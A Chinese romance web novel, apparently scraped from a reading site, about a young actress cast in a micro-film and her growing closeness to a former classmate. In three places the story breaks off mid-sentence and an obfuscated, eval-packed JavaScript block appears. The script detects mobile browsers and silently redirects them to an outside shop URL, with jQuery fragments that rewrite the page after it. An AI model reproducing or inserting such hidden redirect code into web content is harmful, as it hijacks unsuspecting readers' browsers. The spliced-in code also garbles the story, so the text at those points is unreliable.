都是折琰喜欢的酸甜口。
舒念虽然不了解他的喜好,但凭借他爱吃糖的直觉点了这些一道酸甜口,剩下的全靠直觉,但却意外契合了他的喜好。
中午这顿饭以折琰抢着买单收场。舒念本来想五五分,一人承担一半,折琰却先她一步,义正言辞地说吃饭哪有让女士请客的道理。
舒念拗不过他,败下阵来。
^
下午一点半,彻底结束一整天行程的舒念躺在出租屋的床上百无聊赖地刷着手机。
她又整理出一组照片,打算以PIOG的形式发出去,但登上微博时,比稳步增长的粉丝数量更引人注目的,是一条私信。
【未关注人消息】这一栏被置顶,
舒念很好奇,心跳加速,点进去。
手机有些过时了,网速很慢,点进去的一瞬间卡在空白页面,上方是刷新时才会转的圈圈。
三十秒后,消息加载成功。
【您好,这里是榉树微电影,您的个人形象很符合我们的女主角,这边想与您联系看看后续有没有合作的可能,如有合作意向请联系邮箱】
11. 雨城杂记
三个小时前。
张柠因为选角的事被导演叫到办公室批头盖脸狠狠骂了一通。
“你看看你都给我找的谁!”
沈御看着她递过来的资料,气不打一处来。
“第一个这符合我们微电影里面女主角的形象吗?!”
“第二个这咖位你也不看看我们请不请得起。”
“还有第三个,成年了吗,你到时候把人找来人父母会同意吗。让你办点事你就这样办的?”
话说完,沈御抓起桌上的水杯,几口凉茶下去,心里总算好受了些。
张柠一个新来的,对选角这方面本就不在行,忽然被委以重任,难免会出差错。
办公室的气氛跌至冰点,良久的沉默后,张柠讪讪出声:“老板,其实我还知道一个…不过是在微博上…我当时只看了一眼,想着微博联系太麻烦而且人也不认识就没考虑…”
沈御整个人瘫在椅子上,听见这话稍微坐直身体,问她:“我不是说了只要符合形象就可以吗,公司刚成立不久,好不容易能有个不错的IP拍一拍,你这…”
话说一半,他有些烦躁地捏捏眉心,反问她:“她微博名字叫什么,你还记得吗。”
如果换成别的,张柠又会被一顿骂,因为平时她根本不会留意微博名字这种东西,可这次不一样,这个ID她印象很深,是个很特别的名字。
“好像叫…冷太阳。要不我去联系?”
张柠差点搞砸这事,沈御怎么可能还放心将联系人的任务交给她,于是挥挥手让她去忙别的,自己来处理。
张柠点头,默默退出办公室。
四周安静下来。
初春天气冷,办公室里开着暖气,熏久了让人有些发晕。张柠一走,沈御就从椅子上起来,走到窗前,推开窗户后默默点了支烟。
窗外CBD高耸,部分玻璃幕墙没入云霄,沈御站在窗台边发呆,不知不觉间,思绪被绕到那个微博ID上。
冷太阳。
名字确实很惹人眼,他倒要看看这到底是个怎样的小姑娘。
思索间,他将烟掐灭,拿出手机搜索着这个ID。
舒念的微博账号并没有出现在最前面,几个和她有一定相似度的账号占了引人注目的位置。
:
但沈御一眼看中的就是她的账号。
最新一条微博是三天前发的,一组最新黑色羽绒服照片。
沈御皱眉,脸虽达到了他心里的样子,神态却依旧不行。
他打算放弃,转念一想,选角已经没剩下多少时间了,如果这两周再不解决完所有演员的选角,拍摄计划就只能暂时搁置。提前规划好的场地和设备也必须推翻重来。
算了,再看看。
他抱着侥幸继续往下翻。
起初前面的照片依旧没吸引到他,但当最后翻到前不久舒念拍的那组粉毛衣照片时,沈御当机立断决定就找她。
那组戴着有线耳机,穿着粉色毛衣的照片其实是舒念发的所有照片里最不起眼的一组。
没化妆,没特意找机位,甚至是有些模糊,可却意外契合女主角眼神里带着倔强的人设。
就跟她的轨迹一样。
意外地进了温玉的服装工作室,意外地在雨城与他重逢。
每一次看起来都无关紧要的决定,都在无形之间为未来的轨道铺上枕木,等到时机成熟的那一刻,将她带到离梦想更进的下一站。
^
收到这条私信的舒念第一时间不是高兴,而是有些担心。
早几年她在贴吧刷帖子就刷到过有类似的,不过讲的是一个女孩子被骗的事。
那条帖子的年代已经很久远了,但舒念对它印象很深,以至于当收到沈御的消息时,她有些犹豫。
舒念凭着本能的警惕性先给父母说了一声,随后在网上去查这家公司的相关资质。
幸运的是,来找舒念的这家公司虽然刚开不久,但各种资质都很齐全,是个能让人放心进的公司,于是在确认过之后,她先打电话给了折琰。
如果能留在榉树,她就不用再到处奔波跑剧组了。
舒念深吸一口气,随后按下通话键。
折琰是个不太注重仪式感的人,打过去的电话没有任何电话铃,只有默认的嘟嘟声。
响了三声后,电话被接通。
他很礼貌,等着她先开口。
“喂…?”舒念带着几分试探出声。
折琰那头的外音很嘈杂,几秒钟后他才听清舒念说的是什么。
“有微电影公司的导演找到我…”
话说一半,她忽然中断,随后弱弱说出几个字。
“我有工作了,折琰,我有工作了。”
他能感知道她的情绪由紧张变为高兴,到最后变成激动,说话的声音在轻轻发颤。
电话那头停顿片刻,白噪声充斥耳膜,短暂的时间却让她心神乱晃。
片刻后,折琰出声,在电话那头只说了几个字。
“你看,我们都会的。”
舒念初听这话还带几分疑惑,可几秒钟的时间里她就已经反应过来,开口问他:“你也找到剧组了。”
陈述意味的语气里带着几分欣喜,折琰在电话那边轻轻嗯了一声。
“这次有台词了。不用再当背景板。”
舒念的词库很匮乏,一到这种场合大脑就会自动宕机停止思考变成最原始的状态,以至于每次想表达鼓励的意思,说出口却成了反讽。
“恭喜啊。”
她轻声说。
“嗯?”
折琰疑惑出声。
电话秒数还在一点一点往前走,就像听歌时一点点往前拉的进度条,进度条此刻走到歌曲的间奏,漫长的留白后,音乐继续流转。
电话里的声音也开始出现。
“我们能不能见一面,就现在。”
她鼓起勇气,对着听筒出声。
明明吃完午饭后才刚刚分别,数着指头算这才过去几个小时,可当有好消息时,她还是想第一时间见到他,将好消息面对面分享给他。
短暂的声音后,四周静得只剩下彼此交织的心跳。
说出这句话后舒念觉得自己简直是疯了,心脏在胸腔里狂跳,猛地挂断电话后坐在沙发上捏着手机好一会儿才恢复过来。
另外一头,折琰刚想说话就被挂断,有些好笑地看着手机里退出的通话界面,随后点开微信,敲了两个字。
【开门。】
坐在沙发上的舒念手机一震,她以为是谁发的骚扰短信,可订阅号消息早在半个多月以前就被她全部取消了。
血液直冲大脑,舒念此时理智早就降为负值,穿好棉拖鞋三两步走到门边,将门打开后惊诧地看着变魔术一样出现的折琰。
“很意外?”
折琰看着她,笑问。
舒念摇摇头:“从上次你出现在小区附近的便利店开始,我就知道你住得离我不远,但我没想过会这么近…”
她老老实实回答。
事实确实如此。平时两人见面几乎都是在剧组,折琰每天起早贪黑,舒念则是自由派,有戏就在剧组,没戏就坐在旁边看他们拍,但一般看不了多久,回家的时间要比折琰早得多。
于是住得如此近的两人就总是戏剧性地错过。
而折琰发现她离自己这么近,是房东来看电路的那天,他正巧出门买午饭,无意间听到了舒念的声音。
“聪明。不过按道理你该更早发现的。”
话题不知不觉跑偏,舒念挑眉:“哦?什么时候。”
“先不说这个,你打算让我一直站在门外?”
折琰裹着羽绒服泄气地问。
舒念这才反应过来,把他带进屋。
“我平时一个人住,家里东西少,没什么吃的,我只能先给你泡杯花茶然后一起点外卖了。”
她找干玫瑰花罐子的时候顺带着看了一眼冰箱,食材只够一个人吃,点外卖会好解决很多。
“说回刚刚的问题,到底是什么时候。”
舒念在离客厅半步远的厨房烧水,问他。
“第一次我给你指路的时候。”
舒念醍醐灌顶,她这才明白过来,为什么那天为她带路的偏偏是他。
因为只有他对这片区域熟悉。
舒念烧水用的是老式茶壶。她将茶壶放在煤气灶上,打火后回到客厅开始翻起手机外卖
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481614|201775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“你有什么忌口吗?”
她浏览着软件上的外卖,抽空偏头看他一眼,开口问。
“没什么忌口,很好养活。”
今天中午他做主请了她吃饭,晚上就索性随着她来。
舒念问了跟没问一样,在心里悄悄诹他一句,随后努力思考着他喜欢吃什么。
奈何高中三年的自己和现在的相比,有过之而无不及,简直是个榆木疙瘩,从来没找人打听过折琰的喜好。
手指在外卖软件上滑了半天,最后点了几个大众口味的家常菜。
“我…”
还未等她开口,折琰先一步出声。
“没关系,当年的你也不会想到会有这一步,你承受了很多莫须有的恶意,能熬过来已经很了不起了。”
“我有的时候也会想,如果当年我能够更勇敢一点,能够多靠近你一点,是不是就能替你挡掉那些恶意。”
学生时代的恶意不需要理由,也许是因为单纯的不合群而看不惯你,也许只是因为不善交际,又或许只是单纯因为拒绝了别人向你请求的帮助,而被扣上不近人情,冷血的标签。
那个时期的世界很单纯,善是,恶也是。
舒念已经下好单,听见这话,微微一笑:“但就像你说的,我们都不必去苛责过去的自己。当时的我们已经尽力去达到最好的高度了。”
暗中的关注反而对舒念来说是件不错的事,她一个人能感受到就足够了。
水开了,老式茶壶盖子被蒸汽顶开,发出呜呜的声响,舒念心里很平静,也很踏实。
心里郁郁不得解的死结好像开始松动了。
热茶泡好,两人窝在沙发上一起等外卖。
“你拿到剧本了吗?”
等外卖的间隙,舒念好奇地开口。
折琰摇摇头:“你打电话给我的半小时前,我才从那边回来,剧本的话应该还得再等一段时间。”
舒念盘腿坐在沙发上,胳膊支在腿上,单手托腮拖腮思索着什么。
还未等她做足心理建设开口,天花板上的灯泡便再度熄灭,给两人来了个猝不及防。
四周迅速暗淡下来。蓝调时刻的光影还未落幕,华灯初上,外面明灭的光影透过窗户一齐涌入这间拥挤的出租屋内。
“不会又是电路出问题了吧。”
舒念在心里暗自诹了一句,随后起身去看其他房间的灯是否还能打开。
卧室的灯按了好几次都没反应,舒念烦躁地回到客厅:“我家电路又出问题了,你先等我给房东打个电话说明一下情况。”
折琰点头,安静等着。
两分钟后,她挂掉电话回到沙发旁。
“我们现在有两个选择。”
舒念坐回沙发上,对他讲。
“第一,退掉外卖,去外面吃。第二,在我家点蜡烛。”
折琰本想说还有第三个选择,话到嘴边,却觉得就在她家点蜡烛吃顿晚饭也是个不错的主意,于是选了后者。
两人继续坐在屋里等外卖,舒念翻出上次停电用掉一半的蜡烛接着点上。
天色完全黑尽,最后一抹橙色被吞进地平线。世界换上深色幕布衬着外面闪眼的霓虹,而屋内天色更添暗淡,只有几只蜡烛亮着暖色光,打在墙上留下跳动的光晕。
玫瑰花茶完冷掉的那一分钟,外卖员敲响了房门。
折琰开门领外卖,舒念则将冷掉的花茶重新换了一杯,一切准备就绪后,两人面对面开始了这顿“烛光晚餐”。
氛围被烛火陡然带起,昏昧的光线下舒念看不清食物,心情就自然不在吃饭上。
“今年的玉兰奖快要公布结果了吧。”
吃着吃着,忽然地提问让折琰有些疑惑。
“就在下周。想看直播吗,我们一起。”他回答完时间,转而发出邀请。
两人心里那颗小小的种子,在今夜的蓝调时刻破土而出。
舒念原本有些犹豫,她不太会处理这种若即若离的情绪,当他发出邀请时她的心脏依旧开始疯狂跳动,大脑负荷运转,变得失去思考能力。
可当她抬眼对上那双在昏光下更为明显的琥珀色眼眸时,灵魂先一步替她给出答案。
12. 雨城杂记
两个人再见面,是玉兰奖颁奖典礼当晚。
下午舒念因为房间电路问题和房东大吵一架,最后以到期不续,直接搬家收场。
被这么闹一通,她差点忘了晚上的玉兰奖颁奖仪式。
将家里简单收拾后,她才打开手机给折琰发消息,可手指悬在键盘上准备敲字的那一刻,门被人敲响。
折琰见到她的第一时间并没有关心玉兰奖颁奖典礼,而是问她下午的情况。
“我下午不在家,刚回来的时候听邻居说听见我们这层吵架特别大声,是发生什么事了吗?”
舒念见他好奇写在了明面上,有些好笑地看着他:“吵架的对象就是我俩。他叫人修好电路后又亲自过来检查,想涨房租,我没同意。他说话很难听,所以我俩就吵起来了。”
“前段时间来检查的时候看我把里面布置的很好就已经想涨房租,但没好发作。可能是最近房租要到期了,就不在乎能不能留住我。”
“我知道有套不错的公寓,如果你需要,我能帮忙联系。”折琰听完没做评价,只是默默给了解决方案。
舒念笑着摇头:“谢谢你,不过我这两天已经找好房子了,打算等去榉树见了导演后就搬家,那地方离公司还很近。”
话说完,折琰眼里闪过两分落寞。
她搬走,他在这个小区就没有熟人了。
玉兰奖的颁奖仪式还有半个小时,舒念将许久不用的平板电脑拿出来,打算先调到直播间。
折琰站在她身后,透过那块黑色的屏幕,舒念看到他眼睛里一闪而过的情绪。
“有心事?”
她开始慢慢学着将关心说出口,虽然表达的结果只是三个很僵硬甚至带着疑问语气的字。
折琰在这场对决中率先败下阵来,小声嘟囔:“我不想和你分开。”
这份来得太直白的告白让舒念大脑短暂宕机,但与之前不同的是,这次理智占据上风,她看着那双在光线下极为漂亮的琥珀色瞳孔,笑道:“可是我们都还在雨城呀,四舍五入也算是邻居,如果你想见我可以跟我打电话,随时都可以见到我。”
“只要你想见我。”
和他相处的这一个月,她也在慢慢改变,逐渐走出学生时代的阴影,一切都在向前,命运的轮盘在不知不觉间转了一圈又一圈。
光线又逐渐暗淡下来,房间里灯修好了,但此刻二人都默契地没想过要将灯打开,折琰听完,上前两步,从后面伸手抱住她,就像那天剧组杀青前,在银杏树旁的最后一个镜头那样。
舒念像只受惊的兔子,不太适应这种突如其来的拥抱,但还是尽量地去说服自己,压下逐渐上升的心跳。
她想和他待得久一点,不管多久,都可以。
他没有拉外套的拉链,而舒念穿着浅粉色棉质家居服,贴上她后背的那一刻,灼热的体温透过衣服渗入她的后背,通过全身的血液,最终化为逐渐疯狂的心跳。
两个人就这样在暗淡的光线下拥有了第一个两分钟的拥抱。
一百二十秒,短暂,又漫长。
离颁奖典礼开始还有二十分钟,舒念在他放手后打开平板,点进微博官方的直播通道。
现场灯光已经全部调试好,主持人和今晚参加仪式的演员也已经就位。
两人窝在沙发上,折琰拿着平板,看舒念偏头过来,便又将平板往她那边移了几寸。
“你猜今晚的视后会是谁?”
等待的间隙很无聊,舒念打了个哈欠,问他。
平板的位置没有再动,折琰偏过头看着她,思考两秒才给出个不太确定的答案。
“会是宋茴吗,她今年播了三部剧,集均都很高,而且反响很好,官媒也都预测过。”
宋茴今年虽然播了三部剧,但最惹眼的还是其中一部现实主义题材,连央广网都亲自下场点赞过。
舒念皱眉思索片刻,顺着折琰的答案想到了另一个。
“我觉得方歆如的可能性要大一些。她也有部热度破万的现实主义题材,就是不知道谁能更胜一筹。”
两人你来我往地猜测着,等回过头来再看平板上的画面时,已经是十分钟以后。
此时距离颁奖典礼开始只剩下最后几分钟,镜头开始不断扫过坐在台下的青年男女演员。
女演员们画着精致的妆,穿着普通人连牌子都没听过的高定礼服,以最完美的状态出现在无数镜头前。
大摇臂匆匆扫过当前爆火的几位女演员,她们早就在无数次的经历中练就了面对镜头如鱼得水的本领,每一个微表情都恰到好处,让人完全挑不出错。
舒念目不暇接,看着精致的女演员们满眼艳羡。
折琰看出了她的心思,于是轻轻拍拍对方的背,鼓励道:“相信自己。总有一天,我们也会有一样的能力,站到和他们同样的高度。”
舒念点点头,对他说的表示默认,但随即注意到了她们即便裹着毯子却依旧在这乍暖还寒的天气里被冻得双手抱臂,轻轻地取暖。
从这一刻起,舒念就明白,相当好一个演员,一个能让所有人都称赞的演员并不是件容易的事。
欲戴王冠,必承其重,既然承受了在台上无数光鲜亮丽,享受鲜花和掌声的时刻,那台下的各种苦和泪也只能自己咽下去。
颁奖典礼正式开始,主持人穿着白色鱼尾礼服登台,悬念一步步靠进,吊得舒念全神贯注屏幕。
窗外光线越来越暗,夜色由昏黄变成深蓝。
雨城这两天就像是过了雨季,到了秋燥的时候,总是晴天,已经小半月没见过雨了。
几千公里外的颁奖现场。
宋茴和方歆如并排而坐,宋茴身穿黑色亮片晚礼服,造型简约大气,另一个则采用大胆的设计,穿的是别具一格的粉蓝撞色款礼服。
大摇臂在现场扫了两圈,最后定格到方歆如身上。
随即台上的主持人宣布,今年的玉兰奖得奖者是方歆如。
台下瞬间爆发出极为热烈的掌声,相邻的演员们三三两两偏过头来聚在一起讨论着,随后目光又齐齐向台上看去。
“看来我猜对了。”
屏幕前的舒念微微一笑。
“看来你很了解她。”折琰托腮若有所思。
“因为我之前很喜欢她的电视剧。顺带着也去深入了解了过。”
“她很不容易,刚出道那年演技不太成熟,一场戏可以拍小半天,被导演骂得躲在背后偷偷哭也要咬牙继续拍。”
“后来上红毯,没有造型师,穿的是二手礼服,布料廉价得根本没法看。妆也是自己画的,在镜头面前直接被磨没了…后来照片出来,被群嘲土气,说像没见过世面的农村人。”
话到此处便戛然而止,舒念喜欢方歆如的戏,也更喜欢她身上的那股韧劲。
性格相似的人总会莫名地相互吸引,舒念看见方歆如的那一瞬间,便莫名觉得两个人灵魂如此契合。如果她能一步步走得更远,一点点爬得更高,她们也许会见面,会合作,会成为很好的朋友。
“但现在她也成长为游刃有余,能应付各种场合的演员了。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481615|201775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
折琰看着屏幕,接过话题。
彼时方歆如早已换了副样子,当时的二手礼服早就升级成了全球首穿的高定,在镜头面前会被吃尽的妆容也变得无懈可击。
她站在台上,眼睛里早就没了未经世事的胆怯,取而代之是从容,是如鱼得水,是游刃有余。
台下所有的掌声成了对过去那个拍戏被导演骂哭的自己最好的回音。
内娱从来不缺好看的脸,缺的是破釜沉舟的勇气。
“是啊,她也成长为能应对各种场合的大明星了,我是真的很开心,自己喜欢的演员能一步一步走到今天。”
两年前方歆如在外地拍戏,剧组选在深山老林里,为了完成一个高难度的吊威亚镜头,她顶着寒风被吊了小半天,六个小时水米未进,最后被放下来时双腿都是软的,抱着助理嚎啕大哭,最后也因为长时间吊威亚落下了永久性腰伤,以至于现在每一次拍戏和录节目都离不开护腰。
但好在所做的一切都得到了对等的回报,曾经的苦没有白受。
时间一点点流走,十点半,所有仪式全部结束,直播通道关闭,只剩下黑色屏幕和回放观看提示。
客厅的点灯忽然亮起,屏幕前的光线变得不再刺激。
舒念看着他整理好外套,将围巾围好,随后拿上手机准备离开。
她是个不善于表达的人,但此刻很想跟他说自己讨厌一个人待在这间只有四十平的出租屋里。如果可以,她现在很想将灯关掉,在客厅的大窗户前摆两个小凳子,和他就这样坐在屋里看着天上的星星发呆。
看到很晚很晚,看到天空逐渐泛出鱼肚白。
可事实是她家里的灯开着,折琰正打算将手机装进包里离开,可对上她眼睛的那一刻,好像在瞬间读懂了她眼底所有汹涌的情绪。
一时间,四目相对,世界只剩下彼此。
舒念见他未走,努力地想找话题,思来想去话题却没落在他身上,而是落在了他妈妈那儿。
“你…你前两天跟我说阿姨要做手术了,一切还顺利吗?”
折琰似乎不意外她会提到桑珉池,轻轻点了点头:“找朋友借了点,剩下的跟组就能有了,没事,总会越来越好的。”
两个人现在都到了捉襟见肘的地步,舒念换了房子,交去房租手里的钱也只剩下五分之一,想帮忙也力不从心。
“对了,我还想问你,找的房子在哪儿,离这边远吗。”他握着手机问她。
“不远,就在滨海新城,房租比这边要便宜三百块钱。”
这个小区很新颖,位于雨城城郊,离榉树公司就一公里左右的距离,走路都能到,前面别墅区,后面公寓楼,选择很多样化。
舒念租的是八栋三单元,在最里面的犄角旮旯里,位置偏,面积也小,房租也就要便宜些。
折琰知道现在问具体楼栋不太合适,于是在得到这个答案后想换话题,可舒念却顺着这个话题继续下去。
八栋三单元,五楼。
她也说不清自己为什么会有想将自己地址告诉他的冲动,毕竟在这种事情上,她的理智从未占据上风。
这两天的种种迹象似乎都在表明自己好像是个疯子,是个极度渴求友谊,渴求爱,一旦有人开始关注她,就会开始疯狂倾诉自己的人。
就像是沙漠里渴水的植株,一旦有人浇灌,便会拼命吮吸之前缺少的水分,尽全力将自己喂饱。
因为永远也不知道下一次有人浇灌是什么时候。
她好像对他产生了柏拉图式的精神依赖。
13. 雨城杂记
晚上十一点四十五,折琰离开后的半个小时,舒念洗漱后关掉所有光源,拉上窗帘准备睡觉,却接到了梁听雾的电话。
“念念你睡了吗?”
见电话那头很安静,梁听雾有些纳闷,问道。
虽然对方看不见,但舒念还是本能地在屏幕面前摇了摇头:“还没呢,刚上床,准备睡了。”
梁听雾这才放下心来跟她扯闲条。
“找好房子了吧,我早就劝你搬走了,这边的房东一看就不是个好人,看你把房子收拾得好就想坐地起价,什么道理嘛,就欺负你是个小姑娘。”
舒念听着梁听雾在电话另一头絮絮叨叨,眉眼弯弯,露出抹浅淡的笑。
“放心啦,我绝对不是会让自己吃亏的人,等过两天去榉树见了导演,房子的事我再好好跟他说道说道。”
“对了,你之前跟我说的那本小说后半部分已经大改了一遍,已经开始继续更新了,你最近有关注嘛?我去看了,还挺不错,等到字数上榜单应该会很能打。”
提到小说,梁听雾瞬间来了兴趣:“真的吗,我最近很忙没怎么关注锦江,好多书都更新了不少,我还没看完,只能等暑假的时候了。”
“没关系的,我替你看过,更新频率也不高,一周就更两次,你可以存着慢慢看。对了,你这个项目什么时候结束啊,我想和你见面,我俩好久都没一起逛街了。”
电话那头的梁听雾自动忽略了前面有关小说的话题,回复重点落在了后半句。
“还早呢,得等暑假,看到时候这个项目会不会有结果。”
“那你的实验到哪个阶段啦?”
舒念有些好奇,难免多问了几句。
“还早呢,成体干细胞再分化不是件容易的事,我跟着导师做了小半个月了,一点成果都没有。”
说到这,梁听雾揉揉太阳穴,默默叹了口气。
“哎,别提这事了,我最近就是被这项目弄得焦头烂额,脸都熬蜡黄了。”
舒念在听筒另一边笑着安慰:“那我请你吃个蛋糕吧,大概十来分钟就会到你门口,如果心情不好的话可以吃完了再好好睡一觉。明后天要进入新的公司,我暂时也没办法来陪你好好放松,就只能以这种陪陪你啦。”
虽然大半夜地点蛋糕很不符合舒念本人的逻辑,但梁听雾作为朋友,自然收下了这份好意。
凌晨十二点零八分,同舒念挂掉电话的五分钟后,梁听雾收到了外卖员送来的提子奶油蛋糕。
知道她大半夜吃不了太多,舒念特地只买了个四寸大的,不用担心吃不完,就算是剩下的需要放冰箱,明天也能及时吃掉。
屋内只开了盏暖色落地灯,光晕被拍在墙上,一圈圈跳动着,像日落时分海面上翻起的金色波纹。
凌晨一点零五分,梁听雾吃完蛋糕上的最后一颗红提,打算刷牙睡觉,导师一条消息直接发了过来。
她的导师不是个会熬夜的人,平常九点半左右就休息了,今天突然发消息,除了特殊情况外,梁听雾再想不出别的可能。
[小雾,项目有新进展了!!!你前两天的方法很有效果!]
暖色落地灯将手机光线衬得格外刺眼,梁听雾眼睛发酸,揉揉眼,几滴生理性眼泪溢出眼眶后,她才确认自己看到的消息是真的。
如果不是现在太晚,她恨不得立刻打车飞去实验室。
^
到榉树去见导演那天,雨城难得出了回大太阳,将平日里灰扑扑的城市洗了个干净,带上让人心旷神怡的暖色调。
公司在华中区的文化产业园附近,舒念塞着耳机在公交车上摇摇晃晃待了接近两个小时,直到自己失去意识,快睡过去的前一刻,才听到机械音播报自己等待已久的站名。
进入公司大楼前,她先捋了捋头发,随后将脖子上的围巾就着玻璃幕墙反光重新戴了一次,这才深深吸了口气,往大楼里面走。
沈御的办公室在十楼,坐电梯上去,出门左手边第三间就是。
在一楼大厅时还不觉得,到了十楼,电梯门一开,外面七七八八围满了来面试的人。
看见这场面,舒念心里有些发慌,
工作人员注意到她,三两步上前来问她的名字,知道对方是舒念后,便带她穿过层层人流往沈御办公室走。
“沈导,你前些天联系的那个演员到了。”
工作人员说着,轻扣三声门后将人带进去。
此时已过仲春,办公室的暖风空调在好几天前就已经停了,窗户大开,舒念踏进门的那一瞬间,一股穿堂风夹杂着太阳的暖意直往脸上扑。
沈御看见舒念的时候,有些恍惚,她眉眼间自带几分忧郁气,仿佛是为景窈这个角色而生的人。
舒念到底是正儿八经地第一次见导演,对方直白的打量让她不自觉又紧张几分,随后恭恭敬敬鞠了一躬。
沈御看着她这样,不自觉笑了笑:“别紧张,我们今天把所有演员都叫来了,但先和你打照面,就是因为你的特色。”
舒念闻言抬眼,恍惚间才明白过来为什么会有工作人员带着她直接穿越人群到办公室来。
“以前有进剧组拍过戏吗?”
沈御端起面前的茶杯,吹着上面的浮沫,问。
舒念不知道他说的是背景板经历还是正儿八经地要整张脸露在摄像机前,于是一五一十地回答:“前些天被临时拉进剧组当了文替,其他的话,还没有。”
沈御点头,若有所思。
茶杯被放下,在红木桌面上发出一声闷响。
“今天我会先把剧本给你,拿回去熟悉一下,明天开拍,我会看看你临场应变的能力。”
说着,沈御朝助理递了眼色,随后舒念收到了个文件夹,一翻开,里面只有薄薄两页纸。
“我们是微电影,台词少,但很考反应和面对镜头的眼神。眼神戏不好的话,我可能会考虑换人。”
虽然现在找不出能换的,但丑话必须说在前面,毕竟舒念是个没什么拍摄经验的新人。
“不过你也不用担心,到时候会有专门的指导来带你,正式开拍后你能做到最基本的情绪流露就已经足够了。”
舒念垂头看着手里的文件夹,点点头,说了声明白。
风从窗户进来,没了凛冬那般的寒意,带着几分将夏未夏的花木味。
舒念的头发被吹得乱窜,如同她的心跳。
那个曾经看得见摸不着的乌托邦,似乎在一步步靠近她,破土而出的种子开始疯狂生长,抽出新的枝条。
^
到家时已经下午两点,舒念拿出手机,日常和梁听雾聊着天。
最近半个多月,舒念的话多了不少,她开始渐渐学着和周围的人分享自己的日常,有时是中午吃到了很好吃的牛肉面,有时又是自己突发奇想,研究新菜却做出来一锅口味很怪异的东西,最后为了不浪费只能皱着眉头吃完。
而今天的话题,是梁听雾的实验项目。
消息是舒念上午收到的,但今天两人都在忙,于是聊天记录就定格在了梁听雾向她分想喜悦的那个时间点。
细胞再分化需要很多东西,项目组一点点试,最后梁听雾提议,在培养基更换的时候提了好几项注意事项,今天终于得到了细胞正常代谢并开始分化的消息。
舒念由衷地高兴,给对面发了好几个心花怒放版的彩虹屁emoji
客厅里那扇小窗户没关,初春的风和太阳一起灌进来,让人心情都好了不少。
[我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481616|201775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
也顺利进榉树了!不过导演说还得看我的演技。]
几秒钟后,消息界面出现几个加油的肌肉手emoji,后面还跟着六个大字:相信你可以的。
舒念被逗笑,看着这几个字,有看看旁边的剧本,和梁听雾又聊了几句,就结束了这次的话题。
她要开始看剧本,琢磨台词,琢磨演技。
微电影不过就几分钟,按理来说不需要太大的情绪波动,舒念开始也这样觉得,但回来的公交车上她匆匆看了眼剧本,才发现一切都没那么简单。
故事的女主角叫景窈,背景集齐了近年最火所有元素。
单亲家庭,开货车的父亲半年前出车祸,除了赔偿金什么都没留下,母亲靠着这份赔偿金开了家烧烤店拉扯正在上学的景窈。而她便三点一线地打转,像台永动机,跟着指令一直运动,永远不会停。
于是她的少女心事,成了写不完的习题,和母亲烧烤店里穿不完的串。
简单几句简介,不咸不淡地概括了一个人物的青春期所有的跌宕起伏。
故事的爆发点,是男主角自私地想带她走。景窈不同意,争吵由此爆发。
爱是自私的,是对对方生出来的莫名的占有欲,是自己离开时想方设法也想让自己和对方永远在一起。
可景窈受不了。
她开始拒绝,开始逃避,最后故事以两人分道扬镳为结局。
短短几分钟的戏,有好几场需要情绪爆发,舒念看着剧本琢磨了好一阵,可镜子里自己那张脸虽然美丽,却像台按照固定程序运行的机器,该爆发的时候一点也爆发不出来,她强制着自己去想以往伤心的事,等到好不容易挤出两滴眼泪时,抬眼望望墙壁上的挂钟。
已经过了半小时。
她又这样试了无数次,但第二天站在铺了补光板的摄像机前面时,还是被沈御骂了。
“你是块木头吗?!我给你说了这个剧本最考验的就是眼神戏,你的爆发力呢?你的眼泪呢?”
话说完,沈御深深吸了口气,随后揉着突突跳的太阳穴。
“算了,你也是个新人演员,一时半会适应不过来很正常,不过我最多再给你两天时间适应,场地费设备费都不是白给的。如果你两天后还没办法调动自己最基础的情绪,就另谋高就吧。”
舒念被吼愣了,怔怔地朝着沈御点点头,在得到对方的准许后收拾好自己的帆布包,往公交车站去等回家的车。
一路上,她像只泄了气的皮球,无力地在网上搜索着联系哭戏的教程,却发现所有方法都是徒劳。
因为所有教程都最终指向一句话:你需要去身临其境地感受。
时间接近晚上七点,天完全黑了,像给不久前蓝色调的天铺了层深色,将月亮透出的冷白光线又吃进去几分。
她丧气地顺着光线踢走路边的小石子,踢着踢着,眼前却出现了一双运动鞋。
石子飞到一旁,舒念刚才还想着哭戏表演的大脑宕机一瞬,随后缓缓抬头。
是折琰。
“我刚到小区门口,准备买晚饭回去,就看到你这幅样子,遇到什么事了吗?”
没等舒念说话,折琰见她眉头紧蹙的样子,忍不住先开口。
小区是老小区,周围只有昏黄的路灯,四月仲春里微风和煦,将昏灯下那人的头发丝轻轻抚起,随后又温柔放下。
